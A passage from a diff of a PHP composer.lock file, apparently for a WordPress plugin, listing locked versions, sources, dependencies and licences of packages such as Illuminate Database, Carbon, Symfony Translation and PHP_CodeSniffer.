"https://api.github.com/repos/illuminate/database/zipball/405aa061a5bc8588cbf3a78fba383541a568e3fe", - "reference": "405aa061a5bc8588cbf3a78fba383541a568e3fe", - "shasum": "" - }, - "require": { - "illuminate/container": "5.4.*", - "illuminate/contracts": "5.4.*", - "illuminate/support": "5.4.*", - "nesbot/carbon": "~1.20", - "php": ">=5.6.4" - }, - "suggest": { - "doctrine/dbal": "Required to rename columns and drop SQLite columns (~2.5).", - "fzaninotto/faker": "Required to use the eloquent factory builder (~1.4).", - "illuminate/console": "Required to use the database commands (5.4.*).", - "illuminate/events": "Required to use the observers with Eloquent (5.4.*).", - "illuminate/filesystem": "Required to use the migrations (5.4.*).", - "illuminate/pagination": "Required to paginate the result set (5.4.*)." - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "5.4-dev" - } - }, - "autoload": { - "psr-4": { - "Illuminate\\Database\\": "" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Taylor Otwell", - "email": "taylor@laravel.com" - } - ], - "description": "The Illuminate Database package.", - "homepage": "https://laravel.com", - "keywords": [ - "database", - "laravel", - "orm", - "sql" - ], - "support": { - "issues": "https://github.com/laravel/framework/issues", - "source": "https://github.com/laravel/framework" - }, - "time": "2017-08-24T12:07:53+00:00" - }, - { - "name": "illuminate/pagination", - "version": "v5.4.36", - "source": { - "type": "git", - "url": "https://github.com/illuminate/pagination.git", - "reference": "ae1540acf02c8b642666d6901c18d2deb5606b47" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/illuminate/pagination/zipball/ae1540acf02c8b642666d6901c18d2deb5606b47", - "reference": "ae1540acf02c8b642666d6901c18d2deb5606b47", - "shasum": "" - }, - "require": { - "illuminate/contracts": "5.4.*", - "illuminate/support": "5.4.*", - "php": ">=5.6.4" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "5.4-dev" - } - }, - "autoload": { - "psr-4": { - "Illuminate\\Pagination\\": "" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Taylor Otwell", - "email": "taylor@laravel.com" - } - ], - "description": "The Illuminate Pagination package.", - "homepage": "https://laravel.com", - "support": { - "issues": "https://github.com/laravel/framework/issues", - "source": "https://github.com/laravel/framework" - }, - "time": "2017-07-24T13:37:02+00:00" - }, - { - "name": "illuminate/support", - "version": "v5.4.36", - "source": { - "type": "git", - "url": "https://github.com/illuminate/support.git", - "reference": "feab1d1495fd6d38970bd6c83586ba2ace8f299a" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/illuminate/support/zipball/feab1d1495fd6d38970bd6c83586ba2ace8f299a", - "reference": "feab1d1495fd6d38970bd6c83586ba2ace8f299a", - "shasum": "" - }, - "require": { - "doctrine/inflector": "~1.1", - "ext-mbstring": "*", - "illuminate/contracts": "5.4.*", - "paragonie/random_compat": "~1.4|~2.0", - "php": ">=5.6.4" - }, - "replace": { - "tightenco/collect": "self.version" - }, - "suggest": { - "illuminate/filesystem": "Required to use the composer class (5.2.*).", - "symfony/process": "Required to use the composer class (~3.2).", - "symfony/var-dumper": "Required to use the dd function (~3.2)." - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "5.4-dev" - } - }, - "autoload": { - "psr-4": { - "Illuminate\\Support\\": "" - }, - "files": [ - "helpers.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Taylor Otwell", - "email": "taylor@laravel.com" - } - ], - "description": "The Illuminate Support package.", - "homepage": "https://laravel.com", - "support": { - "issues": "https://github.com/laravel/framework/issues", - "source": "https://github.com/laravel/framework" - }, - "time": "2017-08-15T13:25:41+00:00" - }, - { - "name": "kylekatarnls/update-helper", - "version": "1.2.1", - "source": { - "type": "git", - "url": "https://github.com/kylekatarnls/update-helper.git", - "reference": "429be50660ed8a196e0798e5939760f168ec8ce9" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/kylekatarnls/update-helper/zipball/429be50660ed8a196e0798e5939760f168ec8ce9", - "reference": "429be50660ed8a196e0798e5939760f168ec8ce9", - "shasum": "" - }, - "require": { - "composer-plugin-api": "^1.1.0 || ^2.0.0", - "php": ">=5.3.0" - }, - "require-dev": { - "codeclimate/php-test-reporter": "dev-master", - "composer/composer": "2.0.x-dev || ^2.0.0-dev", - "phpunit/phpunit": ">=4.8.35 <6.0" - }, - "type": "composer-plugin", - "extra": { - "class": "UpdateHelper\\ComposerPlugin" - }, - "autoload": { - "psr-0": { - "UpdateHelper\\": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Kyle", - "email": "kylekatarnls@gmail.com" - } - ], - "description": "Update helper", - "support": { - "issues": "https://github.com/kylekatarnls/update-helper/issues", - "source": "https://github.com/kylekatarnls/update-helper/tree/1.2.1" - }, - "funding": [ - { - "url": "https://github.com/kylekatarnls", - "type": "github" - }, - { - "url": "https://opencollective.com/Carbon", - "type": "open_collective" - }, - { - "url": "https://tidelift.com/funding/github/packagist/nesbot/carbon", - "type": "tidelift" - } - ], - "time": "2020-04-07T20:44:10+00:00" - }, - { - "name": "league/fractal", - "version": "0.17.0", - "source": { - "type": "git", - "url": "https://github.com/thephpleague/fractal.git", - "reference": "a0b350824f22fc2fdde2500ce9d6851a3f275b0e" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/thephpleague/fractal/zipball/a0b350824f22fc2fdde2500ce9d6851a3f275b0e", - "reference": "a0b350824f22fc2fdde2500ce9d6851a3f275b0e", - "shasum": "" - }, - "require": { - "php": ">=5.4" - }, - "require-dev": { - "doctrine/orm": "^2.5", - "illuminate/contracts": "~5.0", - "mockery/mockery": "~0.9", - "pagerfanta/pagerfanta": "~1.0.0", - "phpunit/phpunit": "~4.0", - "squizlabs/php_codesniffer": "~1.5", - "zendframework/zend-paginator": "~2.3" - }, - "suggest": { - "illuminate/pagination": "The Illuminate Pagination component.", - "pagerfanta/pagerfanta": "Pagerfanta Paginator", - "zendframework/zend-paginator": "Zend Framework Paginator" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "0.13-dev" - } - }, - "autoload": { - "psr-4": { - "League\\Fractal\\": "src" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Phil Sturgeon", - "email": "me@philsturgeon.uk", - "homepage": "http://philsturgeon.uk/", - "role": "Developer" - } - ], - "description": "Handle the output of complex data structures ready for API output.", - "homepage": "http://fractal.thephpleague.com/", - "keywords": [ - "api", - "json", - "league", - "rest" - ], - "support": { - "issues": "https://github.com/thephpleague/fractal/issues", - "source": "https://github.com/thephpleague/fractal/tree/master" - }, - "time": "2017-06-12T11:04:56+00:00" - }, - { - "name": "nesbot/carbon", - "version": "1.39.1", - "source": { - "type": "git", - "url": "https://github.com/briannesbitt/Carbon.git", - "reference": "4be0c005164249208ce1b5ca633cd57bdd42ff33" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/briannesbitt/Carbon/zipball/4be0c005164249208ce1b5ca633cd57bdd42ff33", - "reference": "4be0c005164249208ce1b5ca633cd57bdd42ff33", - "shasum": "" - }, - "require": { - "kylekatarnls/update-helper": "^1.1", - "php": ">=5.3.9", - "symfony/translation": "~2.6 || ~3.0 || ~4.0" - }, - "require-dev": { - "composer/composer": "^1.2", - "friendsofphp/php-cs-fixer": "~2", - "phpunit/phpunit": "^4.8.35 || ^5.7" - }, - "bin": [ - "bin/upgrade-carbon" - ], - "type": "library", - "extra": { - "update-helper": "Carbon\\Upgrade", - "laravel": { - "providers": [ - "Carbon\\Laravel\\ServiceProvider" - ] - } - }, - "autoload": { - "psr-4": { - "": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Brian Nesbitt", - "email": "brian@nesbot.com", - "homepage": "http://nesbot.com" - } - ], - "description": "A simple API extension for DateTime.", - "homepage": "http://carbon.nesbot.com", - "keywords": [ - "date", - "datetime", - "time" - ], - "support": { - "issues": "https://github.com/briannesbitt/Carbon/issues", - "source": "https://github.com/briannesbitt/Carbon" - }, - "time": "2019-10-14T05:51:36+00:00" - }, - { - "name": "paragonie/random_compat", - "version": "v2.0.19", - "source": { - "type": "git", - "url": "https://github.com/paragonie/random_compat.git", - "reference": "446fc9faa5c2a9ddf65eb7121c0af7e857295241" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/paragonie/random_compat/zipball/446fc9faa5c2a9ddf65eb7121c0af7e857295241", - "reference": "446fc9faa5c2a9ddf65eb7121c0af7e857295241", - "shasum": "" - }, - "require": { - "php": ">=5.2.0" - }, - "require-dev": { - "phpunit/phpunit": "4.*|5.*" - }, - "suggest": { - "ext-libsodium": "Provides a modern crypto API that can be used to generate random bytes." - }, - "type": "library", - "autoload": { - "files": [ - "lib/random.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Paragon Initiative Enterprises", - "email": "security@paragonie.com", - "homepage": "https://paragonie.com" - } - ], - "description": "PHP 5.x polyfill for random_bytes() and random_int() from PHP 7", - "keywords": [ - "csprng", - "polyfill", - "pseudorandom", - "random" - ], - "support": { - "email": "info@paragonie.com", - "issues": "https://github.com/paragonie/random_compat/issues", - "source": "https://github.com/paragonie/random_compat" - }, - "time": "2020-10-15T10:06:57+00:00" - }, - { - "name": "simshaun/recurr", - "version": "v4.0.2", - "source": { - "type": "git", - "url": "https://github.com/simshaun/recurr.git", - "reference": "d6f85ec8652366f45f6d1ba07292c9653939631a" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/simshaun/recurr/zipball/d6f85ec8652366f45f6d1ba07292c9653939631a", - "reference": "d6f85ec8652366f45f6d1ba07292c9653939631a", - "shasum": "" - }, - "require": { - "doctrine/collections": "~1.3", - "php": ">=5.5.0" - }, - "require-dev": { - "phpunit/phpunit": "~4.5" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "0.x-dev" - } - }, - "autoload": { - "psr-4": { - "Recurr\\": "src/Recurr/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Shaun Simmons", - "email": "shaun@shaun.pub", - "homepage": "https://shaun.pub" - } - ], - "description": "PHP library for working with recurrence rules", - "homepage": "https://github.com/simshaun/recurr", - "keywords": [ - "dates", - "events", - "recurrence", - "recurring", - "rrule" - ], - "support": { - "issues": "https://github.com/simshaun/recurr/issues", - "source": "https://github.com/simshaun/recurr/tree/v4.0.2" - }, - "time": "2019-11-18T17:48:08+00:00" - }, - { - "name": "symfony/polyfill-mbstring", - "version": "v1.19.0", - "source": { - "type": "git", - "url": "https://github.com/symfony/polyfill-mbstring.git", - "reference": "b5f7b932ee6fa802fc792eabd77c4c88084517ce" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/polyfill-mbstring/zipball/b5f7b932ee6fa802fc792eabd77c4c88084517ce", - "reference": "b5f7b932ee6fa802fc792eabd77c4c88084517ce", - "shasum": "" - }, - "require": { - "php": ">=5.3.3" - }, - "suggest": { - "ext-mbstring": "For best performance" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-main": "1.19-dev" - }, - "thanks": { - "name": "symfony/polyfill", - "url": "https://github.com/symfony/polyfill" - } - }, - "autoload": { - "psr-4": { - "Symfony\\Polyfill\\Mbstring\\": "" - }, - "files": [ - "bootstrap.php" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Nicolas Grekas", - "email": "p@tchwork.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony polyfill for the Mbstring extension", - "homepage": "https://symfony.com", - "keywords": [ - "compatibility", - "mbstring", - "polyfill", - "portable", - "shim" - ], - "support": { - "source": "https://github.com/symfony/polyfill-mbstring/tree/v1.19.0" - }, - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "time": "2020-10-23T09:01:57+00:00" - }, - { - "name": "symfony/translation", - "version": "v3.4.47", - "source": { - "type": "git", - "url": "https://github.com/symfony/translation.git", - "reference": "be83ee6c065cb32becdb306ba61160d598b1ce88" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/symfony/translation/zipball/be83ee6c065cb32becdb306ba61160d598b1ce88", - "reference": "be83ee6c065cb32becdb306ba61160d598b1ce88", - "shasum": "" - }, - "require": { - "php": "^5.5.9|>=7.0.8", - "symfony/polyfill-mbstring": "~1.0" - }, - "conflict": { - "symfony/config": "<2.8", - "symfony/dependency-injection": "<3.4", - "symfony/yaml": "<3.4" - }, - "require-dev": { - "psr/log": "~1.0", - "symfony/config": "~2.8|~3.0|~4.0", - "symfony/dependency-injection": "~3.4|~4.0", - "symfony/finder": "~2.8|~3.0|~4.0", - "symfony/http-kernel": "~3.4|~4.0", - "symfony/intl": "^2.8.18|^3.2.5|~4.0", - "symfony/var-dumper": "~3.4|~4.0", - "symfony/yaml": "~3.4|~4.0" - }, - "suggest": { - "psr/log-implementation": "To use logging capability in translator", - "symfony/config": "", - "symfony/yaml": "" - }, - "type": "library", - "autoload": { - "psr-4": { - "Symfony\\Component\\Translation\\": "" - }, - "exclude-from-classmap": [ - "/Tests/" - ] - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Fabien Potencier", - "email": "fabien@symfony.com" - }, - { - "name": "Symfony Community", - "homepage": "https://symfony.com/contributors" - } - ], - "description": "Symfony Translation Component", - "homepage": "https://symfony.com", - "support": { - "source": "https://github.com/symfony/translation/tree/v3.4.47" - }, - "funding": [ - { - "url": "https://symfony.com/sponsor", - "type": "custom" - }, - { - "url": "https://github.com/fabpot", - "type": "github" - }, - { - "url": "https://tidelift.com/funding/github/packagist/symfony/symfony", - "type": "tidelift" - } - ], - "time": "2020-10-24T10:57:07+00:00" - }, - { - "name": "tareq1988/wp-eloquent", - "version": "dev-master", - "source": { - "type": "git", - "url": "https://github.com/tareq1988/wp-eloquent.git", - "reference": "d34de7583161bccbf867c4713effe3325ae7fad9" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/tareq1988/wp-eloquent/zipball/d34de7583161bccbf867c4713effe3325ae7fad9", - "reference": "d34de7583161bccbf867c4713effe3325ae7fad9", - "shasum": "" - }, - "require": { - "illuminate/database": "^5.4", - "illuminate/pagination": "^5.4" - }, - "default-branch": true, - "type": "library", - "autoload": { - "psr-4": { - "WeDevs\\ORM\\": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "GPL-2.0-or-later" - ], - "authors": [ - { - "name": "Tareq Hasan", - "email": "tareq@wedevs.com" - } - ], - "description": "Eloquent ORM for WordPress", - "homepage": "https://github.com/tareq1988/wp-eloquent", - "keywords": [ - "eloquent", - "orm", - "plugin", - "sql", - "wordpress" - ], - "support": { - "issues": "https://github.com/tareq1988/wp-eloquent/issues", - "source": "https://github.com/tareq1988/wp-eloquent/tree/master" - }, - "time": "2020-04-02T06:40:53+00:00" - } - ], - "packages-dev": [ - { - "name": "dealerdirect/phpcodesniffer-composer-installer", - "version": "v0.7.1", - "source": { - "type": "git", - "url": "https://github.com/Dealerdirect/phpcodesniffer-composer-installer.git", - "reference": "fe390591e0241955f22eb9ba327d137e501c771c" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/Dealerdirect/phpcodesniffer-composer-installer/zipball/fe390591e0241955f22eb9ba327d137e501c771c", - "reference": "fe390591e0241955f22eb9ba327d137e501c771c", - "shasum": "" - }, - "require": { - "composer-plugin-api": "^1.0 || ^2.0", - "php": ">=5.3", - "squizlabs/php_codesniffer": "^2.0 || ^3.0 || ^4.0" - }, - "require-dev": { - "composer/composer": "*", - "phpcompatibility/php-compatibility": "^9.0", - "sensiolabs/security-checker": "^4.1.0" - }, - "type": "composer-plugin", - "extra": { - "class": "Dealerdirect\\Composer\\Plugin\\Installers\\PHPCodeSniffer\\Plugin" - }, - "autoload": { - "psr-4": { - "Dealerdirect\\Composer\\Plugin\\Installers\\PHPCodeSniffer\\": "src/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Franck Nijhof", - "email": "franck.nijhof@dealerdirect.com", - "homepage": "http://www.frenck.nl", - "role": "Developer / IT Manager" - } - ], - "description": "PHP_CodeSniffer Standards Composer Installer Plugin", - "homepage": "http://www.dealerdirect.com", - "keywords": [ - "PHPCodeSniffer", - "PHP_CodeSniffer", - "code quality", - "codesniffer", - "composer", - "installer", - "phpcs", - "plugin", - "qa", - "quality", - "standard", - "standards", - "style guide", - "stylecheck", - "tests" - ], - "support": { - "issues": "https://github.com/dealerdirect/phpcodesniffer-composer-installer/issues", - "source": "https://github.com/dealerdirect/phpcodesniffer-composer-installer" - }, - "time": "2020-12-07T18:04:37+00:00" - }, - { - "name": "fzaninotto/faker", - "version": "v1.9.1", - "source": { - "type": "git", - "url": "https://github.com/fzaninotto/Faker.git", - "reference": "fc10d778e4b84d5bd315dad194661e091d307c6f" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/fzaninotto/Faker/zipball/fc10d778e4b84d5bd315dad194661e091d307c6f", - "reference": "fc10d778e4b84d5bd315dad194661e091d307c6f", - "shasum": "" - }, - "require": { - "php": "^5.3.3 || ^7.0" - }, - "require-dev": { - "ext-intl": "*", - "phpunit/phpunit": "^4.8.35 || ^5.7", - "squizlabs/php_codesniffer": "^2.9.2" - }, - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "1.9-dev" - } - }, - "autoload": { - "psr-4": { - "Faker\\": "src/Faker/" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "François Zaninotto" - } - ], - "description": "Faker is a PHP library that generates fake data for you.", - "keywords": [ - "data", - "faker", - "fixtures" - ], - "support": { - "issues": "https://github.com/fzaninotto/Faker/issues", - "source": "https://github.com/fzaninotto/Faker/tree/v1.9.1" - }, - "abandoned": true, - "time": "2019-12-12T13:22:17+00:00" - }, - { - "name": "phpcompatibility/php-compatibility", - "version": "9.3.5", - "source": { - "type": "git", - "url": "https://github.com/PHPCompatibility/PHPCompatibility.git", - "reference": "9fb324479acf6f39452e0655d2429cc0d3914243" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/PHPCompatibility/PHPCompatibility/zipball/9fb324479acf6f39452e0655d2429cc0d3914243", - "reference": "9fb324479acf6f39452e0655d2429cc0d3914243", - "shasum": "" - }, - "require": { - "php": ">=5.3", - "squizlabs/php_codesniffer": "^2.3 || ^3.0.2" - }, - "conflict": { - "squizlabs/php_codesniffer": "2.6.2" - }, - "require-dev": { - "phpunit/phpunit": "~4.5 || ^5.0 || ^6.0 || ^7.0" - }, - "suggest": { - "dealerdirect/phpcodesniffer-composer-installer": "^0.5 || This Composer plugin will sort out the PHPCS 'installed_paths' automatically.", - "roave/security-advisories": "dev-master || Helps prevent installing dependencies with known security issues." - }, - "type": "phpcodesniffer-standard", - "notification-url": "https://packagist.org/downloads/", - "license": [ - "LGPL-3.0-or-later" - ], - "authors": [ - { - "name": "Wim Godden", - "homepage": "https://github.com/wimg", - "role": "lead" - }, - { - "name": "Juliette Reinders Folmer", - "homepage": "https://github.com/jrfnl", - "role": "lead" - }, - { - "name": "Contributors", - "homepage": "https://github.com/PHPCompatibility/PHPCompatibility/graphs/contributors" - } - ], - "description": "A set of sniffs for PHP_CodeSniffer that checks for PHP cross-version compatibility.", - "homepage": "http://techblog.wimgodden.be/tag/codesniffer/", - "keywords": [ - "compatibility", - "phpcs", - "standards" - ], - "support": { - "issues": "https://github.com/PHPCompatibility/PHPCompatibility/issues", - "source": "https://github.com/PHPCompatibility/PHPCompatibility" - }, - "time": "2019-12-27T09:44:58+00:00" - }, - { - "name": "phpcompatibility/phpcompatibility-paragonie", - "version": "1.3.0", - "source": { - "type": "git", - "url": "https://github.com/PHPCompatibility/PHPCompatibilityParagonie.git", - "reference": "b862bc32f7e860d0b164b199bd995e690b4b191c" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/PHPCompatibility/PHPCompatibilityParagonie/zipball/b862bc32f7e860d0b164b199bd995e690b4b191c", - "reference": "b862bc32f7e860d0b164b199bd995e690b4b191c", - "shasum": "" - }, - "require": { - "phpcompatibility/php-compatibility": "^9.0" - }, - "require-dev": { - "dealerdirect/phpcodesniffer-composer-installer": "^0.5", - "paragonie/random_compat": "dev-master", - "paragonie/sodium_compat": "dev-master" - }, - "suggest": { - "dealerdirect/phpcodesniffer-composer-installer": "^0.5 || This Composer plugin will sort out the PHP_CodeSniffer 'installed_paths' automatically.", - "roave/security-advisories": "dev-master || Helps prevent installing dependencies with known security issues." - }, - "type": "phpcodesniffer-standard", - "notification-url": "https://packagist.org/downloads/", - "license": [ - "LGPL-3.0-or-later" - ], - "authors": [ - { - "name": "Wim Godden", - "role": "lead" - }, - { - "name": "Juliette Reinders Folmer", - "role": "lead" - } - ], - "description": "A set of rulesets for PHP_CodeSniffer to check for PHP cross-version compatibility issues in projects, while accounting for polyfills provided by the Paragonie polyfill libraries.", - "homepage": "http://phpcompatibility.com/", - "keywords": [ - "compatibility", - "paragonie", - "phpcs", - "polyfill", - "standards" - ], - "support": { - "issues": "https://github.com/PHPCompatibility/PHPCompatibilityParagonie/issues", - "source": "https://github.com/PHPCompatibility/PHPCompatibilityParagonie" - }, - "time": "2019-11-04T15:17:54+00:00" - }, - { - "name": "phpcompatibility/phpcompatibility-wp", - "version": "2.1.0", - "source": { - "type": "git", - "url": "https://github.com/PHPCompatibility/PHPCompatibilityWP.git", - "reference": "41bef18ba688af638b7310666db28e1ea9158b2f" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/PHPCompatibility/PHPCompatibilityWP/zipball/41bef18ba688af638b7310666db28e1ea9158b2f", - "reference": "41bef18ba688af638b7310666db28e1ea9158b2f", - "shasum": "" - }, - "require": { - "phpcompatibility/php-compatibility": "^9.0", - "phpcompatibility/phpcompatibility-paragonie": "^1.0" - }, - "require-dev": { - "dealerdirect/phpcodesniffer-composer-installer": "^0.5" - }, - "suggest": { - "dealerdirect/phpcodesniffer-composer-installer": "^0.5 || This Composer plugin will sort out the PHP_CodeSniffer 'installed_paths' automatically.", - "roave/security-advisories": "dev-master || Helps prevent installing dependencies with known security issues." - }, - "type": "phpcodesniffer-standard", - "notification-url": "https://packagist.org/downloads/", - "license": [ - "LGPL-3.0-or-later" - ], - "authors": [ - { - "name": "Wim Godden", - "role": "lead" - }, - { - "name": "Juliette Reinders Folmer", - "role": "lead" - } - ], - "description": "A ruleset for PHP_CodeSniffer to check for PHP cross-version compatibility issues in projects, while accounting for polyfills provided by WordPress.", - "homepage": "http://phpcompatibility.com/", - "keywords": [ - "compatibility", - "phpcs", - "standards", - "wordpress" - ], - "support": { - "issues": "https://github.com/PHPCompatibility/PHPCompatibilityWP/issues", - "source": "https://github.com/PHPCompatibility/PHPCompatibilityWP" - }, - "time": "2019-08-28T14:22:28+00:00" - }, - { - "name": "squizlabs/php_codesniffer", - "version": "3.5.8", - "source": { - "type": "git", - "url": "https://github.com/squizlabs/PHP_CodeSniffer.git", - "reference": "9d583721a7157ee997f235f327de038e7ea6dac4" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/squizlabs/PHP_CodeSniffer/zipball/9d583721a7157ee997f235f327de038e7ea6dac4", - "reference": "9d583721a7157ee997f235f327de038e7ea6dac4", - "shasum": "" - }, - "require": { - "ext-simplexml": "*", - "ext-tokenizer": "*", - "ext-xmlwriter": "*", - "php": ">=5.4.0" - }, - "require-dev": { - "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0" - }, - "bin": [ - "bin/phpcs", - "bin/phpcbf" - ], - "type": "library", - "extra": { - "branch-alias": { - "dev-master": "3.x-dev" - } - }, - "notification-url": "https://packagist.org/downloads/", - "license": [ - "BSD-3-Clause" - ], - "authors": [ - { - "name": "Greg Sherwood", - "role": "lead" - } - ], - "description": "PHP_CodeSniffer tokenizes PHP, JavaScript and CSS files and detects violations of a defined set of coding standards.", - "homepage": "https://github.com/squizlabs/PHP_CodeSniffer", - "keywords": [ - "phpcs", - "standards" - ], - "support": { - "issues": "https://github.com/squizlabs/PHP_CodeSniffer/issues", - "source": "https://github.com/squizlabs/PHP_CodeSniffer", - "wiki": "https://github.com/squizlabs/PHP_CodeSniffer/wiki" - }, - "time": "2020-10-23T02:01:07+00:00" - }, - { - "name": "wp-coding-standards/wpcs", - "version": "2.3.0", - "source": { - "type": "git", - "url": "https://github.com/WordPress/WordPress-Coding-Standards.git", - "reference": "7da1894633f168fe244afc6de00d141f27517b62" - }, - "dist": { - "type": "zip", - "url": "https://api.github.com/repos/WordPress/WordPress-Coding-Standards/zipball/7da1894633f168fe244afc6de00d141f27517b62", - "reference": "7da1894633f168fe244afc6de00d141f27517b62", - "shasum": "" - }, - "require": { - "php": ">=5.4", - "squizlabs/php_codesniffer": "^3.3.1" - }, - "require-dev": { - "dealerdirect/phpcodesniffer-composer-installer": "^0.5 || ^0.6", - "phpcompatibility/php-compatibility": "^9.0", - "phpcsstandards/phpcsdevtools": "^1.0", - "phpunit/phpunit": "^4.0 || ^5.0 || ^6.0 || ^7.0" - }, - "suggest": { - "dealerdirect/phpcodesniffer-composer-installer": "^0.6 || This Composer plugin will sort out the PHPCS 'installed_paths' automatically." - }, - "type": "phpcodesniffer-standard", - "notification-url": "https://packagist.org/downloads/", - "license": [ - "MIT" - ], - "authors": [ - { - "name": "Contributors", - "homepage": "https://github.com/WordPress/WordPress-Coding-Standards/graphs/contributors" - } - ], - "description": "PHP_CodeSniffer rules (sniffs) to enforce WordPress coding conventions", - "keywords": [ - "phpcs", - "standards", - "wordpress" - ], - "support": { - "issues": "https://github.com/WordPress/WordPress-Coding-Standards/issues", - "source": "https://github.com/WordPress/WordPress-Coding-Standards", - "wiki": "https://github.com/WordPress/WordPress-Coding-Standards/wiki" - }, - "time": "2020-05-13T23:57:56+00:00" - } - ], - "aliases": [], - "minimum-stability": "stable", - "stability-flags": { - "tareq1988/wp-eloquent": 20 - }, - "prefer-stable": false, - "prefer-lowest": false, - "platform": { - "php": ">=5.6.37" - }, - "platform-dev": [], - "plugin-api-version": "2.3.0" -} +{ + "_readme": [ + "This file locks the dependencies of your project to a known state", + "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies", + "This file is @generated automatically" + ], + "content-hash": "be55897275591c53f78d1a59f2396900", + "packages": [ + { + "name": "a5hleyrich/wp-background-processing", + "version": "1.0.2", + "source": { + "type": "git", + "url": "https://github.com/deliciousbrains/wp-background-processing.git", + "reference": "2cbee1abd1b49e1133cd8f611df4d4fc5a8b9800" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/deliciousbrains/wp-background-processing/zipball/2cbee1abd1b49e1133cd8f611df4d4fc5a8b9800", + "reference": "2cbee1abd1b49e1133cd8f611df4d4fc5a8b9800", + "shasum": "" + }, + "require": { + "php": ">=5.2" + }, + "suggest": { + "coenjacobs/mozart": "Easily wrap this library with your own prefix, to prevent collisions when multiple plugins use this library" + }, + "type": "library", + "autoload": { + "classmap": [ + "classes/" + ] + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "GPL-2.0-or-later" + ], + "authors": [ + { + "name": "Delicious Brains", + "email": "nom@deliciousbrains.com" + } + ], + "description": "WP Background Processing can be used to fire off non-blocking asynchronous requests or as a background processing tool, allowing you to queue tasks.", + "support": { + "issues": "https://github.com/deliciousbrains/wp-background-processing/issues", + "source": "https://github.com/deliciousbrains/wp-background-processing/tree/1.0.2" + }, + "time": "2020-07-31T07:00:11+00:00" + }, + { + "name": "appsero/client", + "version": "v1.2.2", + "source": { + "type": "git", + "url": "https://github.com/Appsero/client.git", + "reference": "5f9a275cdd94d756d2f5b05d9281719c6d638561" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/Appsero/client/zipball/5f9a275cdd94d756d2f5b05d9281719c6d638561", + "reference": "5f9a275cdd94d756d2f5b05d9281719c6d638561", + "shasum": "" + }, + "require": { + "php": ">=5.3" + }, + "type": "library", + "autoload": { + "psr-4": { + "Appsero\\": "src/" + } + }, + "notification-url": "https://packagist.org/downloads/", + "license": [ + "MIT" + ], + "authors": [ + { + "name": "Tareq Hasan", + "email": "tareq@appsero.com" + } + ], + "description": "Appsero Client", + "keywords": [ + "analytics", + "plugin", + "theme", + "wordpress" + ], + "support": { + "issues": "https://github.com/Appsero/client/issues", + "source": "https://github.com/Appsero/client/tree/v1.2.2" + }, + "time": "2022-12-15T06:49:01+00:00" + }, + { + "name": "doctrine/collections", + "version": "v1.4.0", + "source": { + "type": "git", + "url": "https://github.com/doctrine/collections.git", + "reference": "1a4fb7e902202c33cce8c55989b945612943c2ba" + }, + "dist": { + "type": "zip", + "url": "https://api.github.com/repos/doctrine/collections/zipball/1a4fb7e902202c33cce8c55989b945612943c2ba", + "reference": "1a4fb7e902202c33cce8c55989b945612943c2ba", + "shasum": "" + }, + "require": { + "php": "^5.6 || ^7.0" + }, + "require-dev": { + "doctrine/coding-standard": "~0.1@dev", + "phpunit/phpunit": "^5.7" + }, + "type": "library", + "extra": { + "branch-alias": { + "dev-master": "1.3.x-dev" + } + }, + "autoload": { + "psr-0": { + "Doctrine\\Common\\Collections\\": "lib/" + } + }, + "notification-url": 